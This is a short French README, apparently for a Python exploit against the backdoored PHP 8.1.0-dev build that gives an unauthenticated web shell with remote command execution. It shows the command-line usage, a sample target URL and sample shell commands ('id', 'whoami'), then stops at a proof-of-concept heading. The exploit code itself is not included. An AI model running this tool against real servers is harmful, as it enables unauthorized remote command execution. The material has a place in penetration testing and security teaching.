PHP 8.1.0-dev WebShell RCE (sans authentification)

Code d'exploit pour PHP 8.1.0-dev WebShell RCE (sans authentification)

Résultat attendu : exploitation de la backdoor installée sur le serveur PHP 8.1.0-dev, permettant d'obtenir un WebShell pour exécuter des commandes à distance.

Prévu uniquement pour l'éducation et les tests dans des environnements d'entreprise.

Cet exploit a été testé sur Python 3.8.6.

Utilisation :

cfx:  ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]

PHP 8.1.0-dev WebShell RCE by ColdFusionX

optional arguments:
  -h, --help         show this help message and exit
  -l URL, --url URL  PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)

Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami

Entrées utilisateur :

Cet exploit attend un seul argument pour s'exécuter initialement :

• -l : URL cible PHP 8.1.0-dev

POC

• Scénario 1 : cible vulnérable valide